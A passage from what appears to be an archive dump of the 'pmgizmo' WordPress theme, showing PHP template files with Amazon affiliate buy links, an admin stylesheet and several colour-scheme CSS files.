</article>pmgizmo/template-parts/content-product.php000064400000003141152223213640015030 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<h2 id="category-title" class="archive-title">
    <?php printf(__('%s', 'pmthemes'), '<span>' . single_cat_title( '', false ) . '</span>'); ?>
</h2>
<div class="related-posts-grid">
    <div class="related-posts-columns related-posts-three-columns clearfix">
        <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
            <div class="related-post-column clearfix">
                <a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>">
                    <?php the_post_thumbnail('featured_image'); ?><p class="viewdts"></p></a>
                <div class="shopbttn">
                    <span class="buyprice"><?php echo get_post_meta($post->ID, "pmns_price", true); ?></span>
                    <a href="http://www.amazon.com/gp/aws/cart/add.html?AssociateTag=<?php echo get_option( 'wp_amazonpin_aaid' ) ?>&ASIN.1=<?php echo get_post_meta($post->ID, "pmns_asin", true); ?>&Quantity.1=1&SubscriptionId=<?php echo get_option( 'wp_amazonpin_abk' ) ?>" target="_blank" rel="nofollow">
                        <span class="buynowrel">&nbsp;Buy Now</span></a>
                    <div class="clearfix"></div>
                    <header class="entry-header">
                        <?php the_title( sprintf( '<h4 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h4>' ); ?>
                    </header>
                </div>
            </div>
        <?php endwhile; endif; ?>
    </div>
</div>pmgizmo/template-parts/content.php000064400000001150152223213640013350 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
    <h2 class="post-title"><a href="<?php esc_url(the_permalink()) ?>" rel="bookmark"><?php the_title(); ?></a></h2>
    <?php pmthemes_display_postmeta(); ?>
    <div class="entry clearfix">
        <?php pmthemes_display_thumbnail_index(); ?>
        <?php the_content(__('&raquo; Read more', 'pmthemes')); ?>
    </div>
    <?php wp_link_pages('before=<div class="page-links">Pages:&after=</div>'); ?>
    <?php pmthemes_display_postinfo(); ?>
</article>pmgizmo/image.php000064400000002746152223213640010032 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>

	<div id="wrap" class="clearfix">
		
		<section id="content" class="primary" role="main">
		
		<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
		
			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
			
				<h2 class="post-title"><?php the_title(); ?></h2>
				
				<div class="postmeta"><?php pmthemes_display_postmeta(); ?></div>

				<div class="entry clearfix"><br/>
					<a href="<?php echo wp_get_attachment_url($post->ID); ?>"><?php echo wp_get_attachment_image( $post->ID, 'full' ); ?></a>
					
					<div id="image-nav" class="clearfix">
						<span class="nav-previous"><?php previous_image_link( false, __( 'Previous' , 'pmthemes' ) ); ?></span>
						<span class="nav-next"><?php next_image_link( false, __( 'Next' , 'pmthemes' ) ); ?></span>
					</div>
					
					<?php if ( !empty($post->post_excerpt) ) the_excerpt(); ?>
					<?php the_content(); ?>
					
					<p class="nav-return"><a href="<?php echo esc_url( get_permalink( $post->post_parent )); ?>" title="<?php _e('Return to Gallery', 'pmthemes'); ?>" rel="gallery">
					<?php _e('Return to', 'pmthemes'); ?> <?php echo get_the_title( $post->post_parent ); ?></a></p>

				</div>
				
			</article>
			
		<?php

			endwhile;
		
		endif; ?>
		
		
			
		<?php comments_template(); ?>
		
		</section>
		
		<?php get_sidebar(); ?>
	</div>
	
<?php get_footer(); ?>	pmgizmo/index.php000064400000002312152223213640010044 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header();
    // Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
echo '<div id="wrap" class="clearfix">';
    echo '<section id="content" class="primary" role="main">';
        // Display Featured Post Slideshow if activated
        if ( isset($theme_options['slider_activated_blog']) and $theme_options['slider_activated_blog'] == true ) :
            get_template_part( 'template-parts/featured-content-slider' );
        endif;
            if ( $theme_options['pmth_grid_col_opt'] == 'pmth-grid-coln' ) {
                $gridopt = $theme_options['pmth_grid_column'];
            } else {
                $gridopt = $theme_options['pmth_grid_width'];
            }
        echo '<div class="pmth-grid '. $gridopt .'">';
            if (have_posts()) :
                while (have_posts()) : the_post();
                    get_template_part( 'template-parts/content', $theme_options['posts_length'] );
                endwhile;
            endif;
        echo '</div>';
        pmthemes_display_pagination();
     echo '</section>';
		get_sidebar();
echo '</div>';
get_footer();
?>pmgizmo/css/admin.css000064400000004057152223213640010626 0ustar00#pmthemes h3{color:#333;padding-top:7px}#pmthemes .active,#pmthemes .inactive{color:#FFF;margin-bottom:5px;display:inline-block}#pmthemes .postbox-container{width:98%}#pmthemes .form-table td{margin-bottom:0;padding:1px}#pmthemes .form-table th{display:none}#pmthemes .pmthemes-metabox textarea{width:100%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;min-height:200px}#pmthemes .pmthemes-right-sidebar .postbox{position:fixed}#pmthemes .desc{padding-right:15px}#pmthemes .js .pmthemes-metabox.postbox .hndle{cursor:inherit}#pmthemes .pmthemes-metabox .clear{padding-top:10px;margin-bottom:10px;border-bottom:1px solid #DDD}#pmthemes .pmthemes-metabox .clear:after{content:"";display:table;clear:both}#pmthemes .inactive{background:#444;font-size:12px;margin-right:5px}#pmthemes .active a,#pmthemes .active a:hover,#pmthemes .active a:visited,#pmthemes .inactive a,#pmthemes .inactive a:hover,#pmthemes .inactive a:visited{color:#FFF;text-decoration:none;padding:6px 8px;display:inline-block}#pmthemes .inactive.need-license{background:orange}#pmthemes .active{background:green;font-size:12px;margin-right:5px}#pmthemes .addon-container{margin-bottom:5px}#pmthemes .addon-title{display:block;font-weight:700;font-size:16px;margin-bottom:10px}#pmthemes .addon-active img{opacity:1}#pmthemes .addon-inactive img{opacity:.3}#pmthemes .addon-active img,#pmthemes .addon-inactive img{margin:5px}#pmthemes .wp-list-table.addons tr:nth-child(2n){background:#FFF}#pmthemes .wp-list-table.addons td,#pmthemes .wp-list-table.email td{vertical-align:middle}#pmthemes .appearance_page_pmthemes-options .error,#pmthemes .appearance_page_pmthemes-options .updated{max-width:980px;margin-right:5px;margin-top:35px;margin-left:12px}#pmthemes input.radio_img{display:none}#pmthemes label{cursor:pointer;display:inline;margin-right:5px}#pmthemes label>input{visibility:hidden;position:absolute}#pmthemes label>input+img{cursor:pointer;border:2px solid transparent}#pmthemes label>input:checked+img{border:2px solid #0074a2}#pmthemes label>input:hover+img{border:2px solid #7ad03a}pmgizmo/css/styles/pastel-blue.css000064400000014147152223213640013277 0ustar00/*
Predefined Colors
Theme: Pastel Blue
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
    color: #1079c9;
}
/* Body */
body {
    background-color: #d0d0d0;
}
#wrapper,
.wide-header #wrap {
    -webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 5px 10px 2px rgba(158, 158, 158, 0.5);
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #2370cd;
    background: #71A3DE -webkit-gradient(linear, left top, left bottom, from(#2370cd), to(#71A3DE)) no-repeat;
    background: #71A3DE -moz-linear-gradient(top, #2370cd, #71A3DE) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#2370cd, endColorstr=#71A3DE) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#2370cd, endColorstr=#71A3DE)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #3691ff;
}
.header-line {
    border-top: 15px solid #1d4370;
    border-bottom: 1px solid #558dcd;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #3c6ba2;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #234f85;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #1d4370;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #1a3773;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
    background: #234f85;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
    background-color: #304e5c;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
    background-color: #234f85;
}
/* Search */
.search-form-top {
    background-color: #284d79;
    border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit:hover {
    background: #234f85;
}
/* Main Navigation */
.stickynav,
#navi-wrap {
    background: #234f85;
    border-top: 1px solid #2d5990;
    border-bottom: 1px solid #2d5990;
}
.natty #navi-wrap {
    background: #234f85;
    border-top: 2px solid #52759e;
    border-bottom: 2px solid #52759e;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #0066cc;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #314d02;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #ac1273;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
    background-color: #0066cc;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #234f85;
}

.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #234f85;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets .widgettitle {
    background: #173544;
}
#footer-widgets-bg {
    border-top: 0.5em solid #1d4370;
    background: #1d5eac;
    background: -webkit-linear-gradient(#1d5eac, #295F9F);
    background: -o-linear-gradient(#1d5eac, #295F9F);
    background: -moz-linear-gradient(#1d5eac, #295F9F);
    background: linear-gradient(#1d5eac, #295F9F);
}
#footer-widgets .widget {
    background: #11698c;;
    border: 0.4em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widgettitle {
    padding: 0.55em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    background: #072a3b;
    border-top: 1px solid #1576a6;
}
/* LOL to Top */
.scrollToTop {
    background: #234f85;
}
.scrollToTop:hover {
    background: #2269bf;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    #header ul.nav-menu {
        background: #234f85;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #234f85;
    }
}pmgizmo/css/styles/red.css000064400000014130152223213640011624 0ustar00/*
Predefined Colors
Theme: Pastel Blue
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
    color: #3B5998;
}
/* Body */
body {
    background-color: #d0d0d0;
}
#wrapper,
.wide-header #wrap {
    -webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 5px 10px 2px rgba(158, 158, 158, 0.5);
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #053C68;
    background: #45ACFD -webkit-gradient(linear, left top, left bottom, from(#053C68), to(#45ACFD)) no-repeat;
    background: #45ACFD -moz-linear-gradient(top, #053C68, #45ACFD) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#053C68, endColorstr=#45ACFD) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#053C68, endColorstr=#45ACFD)" no-repeat;
}
.header-line {
    border-top: 15px solid #000509;
    border-bottom: 1px solid #0069bc;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #B83B43;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #77191F;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #6C0F15;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    color: #fff;
    background: #eb232f;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #eb232f;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #304e5c;
}
/* Search */
.search-form-top {
    background-color: #641318;
    border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit:hover {
    background: #eb232f;
}
/* Main Navigation */
#navi-wrap,
.natty #navi-wrap,
.stickynav {
    background: #eb232f;
    border-top: 2px solid #b6040e;
    border-bottom: 2px solid #b6040e;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #00766F;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #314d02;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #ac1273;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
    background-color: #00766F;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #8C1C23;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #8C1C23;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    border-top: 0.5em solid rgba(0, 0, 0, 0.35);
    background: #62151A;
    background: -webkit-linear-gradient(#62151A, #802228);
    background: -o-linear-gradient(#62151A, #802228);
    background: -moz-linear-gradient(#62151A, #802228);
    background: linear-gradient(#62151A, #802228);
}
#footer-widgets .widget {
    background: #194E77;
    border: 0.4em solid rgba(0, 0, 0, 0.35);
}
#footer-widgets .widgettitle {
    background: #197742;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    border-top: 1px solid #2e6ea3;
    background: #083051;
}
/* LOL to Top */
.scrollToTop {
    background: #8C1C23;
}
.scrollToTop:hover {
    background: #3B5998;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    #header ul.nav-menu {
        background: #eb232f;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #990009;
    }
}pmgizmo/css/styles/carrotman.css000064400000010572152223213640013046 0ustar00/*
Predefined Colors
Theme: Carrot Man
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #29673f;
}
/* Body */
body {
    background-color: #eeeae2;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #29673f;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #1c4e2e;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #1c4e2e;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #29673f;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #333333;
}
/* Main Navigation */
#navi-wrap {
	background: #333333;
	border-bottom: 4px solid #7fcc99;
}
.natty #navi-wrap {
	background: #333333;
	border-top: 1px solid #7fcc99;
	border-bottom: 1px solid #7fcc99;
}
.stickynav {
	background: #333333;
	border-top: 1px solid #111;
	border-bottom: 1px solid #111;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #7b4610;
    background: #e17100 -webkit-gradient(linear, left top, left bottom, from(#7b4610), to(#e17100)) no-repeat;
    background: #e17100 -moz-linear-gradient(top, #7b4610, #e17100) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#7b4610, endColorstr=#e17100) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#7b4610, endColorstr=#7b4610)" no-repeat;
}
.header-line {
	border-top: 15px solid #4b2b0b;
	border-bottom: 1px solid #885b2e;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #333333;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #29673f;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #29673f;
	border-top: 5px solid #333333;
}
#footer-widgets .widget {
    background: #fff5df;
    border: 5px solid #333333;
}
#footer-widgets .widgettitle {
    background: #29673f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #777;
	background-color: #121212;
}
/* LOL to Top */
.scrollToTop {
    background: #444;
    border: 4px solid #000;
}
.scrollToTop:hover {
    background: #29673f;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #1c4e2e;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/orange.css000064400000013563152223213640012336 0ustar00/*
Predefined Colors
Theme: Redorange
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
	color: #3B5998;
}
/* Body */
body {
	background-color: #D1C5B7;
}
#wrapper,
.wide-header #wrap {
	-webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
	box-shadow: 0 5px 10px 2px rgba(158, 158, 158, 0.5);
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #B36100;
	background: #FE961B -webkit-gradient(linear, left top, left bottom, from(#B36100), to(#FE961B)) no-repeat;
	background: #FE961B -moz-linear-gradient(top, #B36100, #FE961B) no-repeat;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#B36100, endColorstr=#FE961B) no-repeat;
	-ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#B36100, endColorstr=#FE961B)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #C27A24;
}
.header-line {
	border-top: 15px solid #7C3516;
	border-bottom: 1px solid #C17656;
}
.natty .header-line {
	border-top: none;
	border-bottom: 1px solid #C17656;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #7C3516;
}
#topnav-menu {
	margin-left: 0;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #8E360F;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	color: #fff;
	background: #B23600;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
	color: #fff;
	background: #B23600;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
	background-color: #735F0F;
}
/* Search */
.search-form-top {
	background-color: #7C3516;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
	background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #B23600;
}
/* Main Navigation */
#navi-wrap,
.natty #navi-wrap {
	background: #B23600;
	border-top: 2px solid #aa4f27;
	border-bottom: 3px solid #aa4f27;
}
.stickynav {
	background: #B23600;
	border-top: 1px solid #ed682e;
	border-bottom: 1px solid #ed682e;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #3B5998;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #005F88;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #002e8d;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #3B5998;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #acb3b4;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
	background: #B23600;
}
.widgettitle {
	padding: 0.65em;
	text-transform: uppercase;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
	border: 1px solid rgba(0, 0, 0, 0.2);
	padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
	margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
	max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #B23600;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #05283b;
	border-top: 5px solid #3c6477;
}
#footer-widgets .widget {
	background: #dde2d8;
	border: 5px solid #3c6477;
}
#footer-widgets .widgettitle {
	background: #B23600;
	padding: 0.55em 1em;
}
#footer-widgets .widget ul li {
	border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul,
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
	color: #333;
}
/* Footer */
#footer {
	border-top: 1px solid #0e3c55;
	background: #051319;
}
/* LOL to Top */
.scrollToTop {
	background: #B23600;
	border: 2px solid #8E2B00;
}
.scrollToTop:hover {
	background: #1079c9;
	border: 2px solid #0a3e66;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #B23600;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #1273ac;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #314d02;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #444;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #622A11;
	}
}pmgizmo/css/styles/bluelights.css000064400000010612152223213640013215 0ustar00/*
Predefined Colors
Theme: Blue Lights
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #F5EEE1;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #4f82e7;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #3a6bcb;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #3a6bcb;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
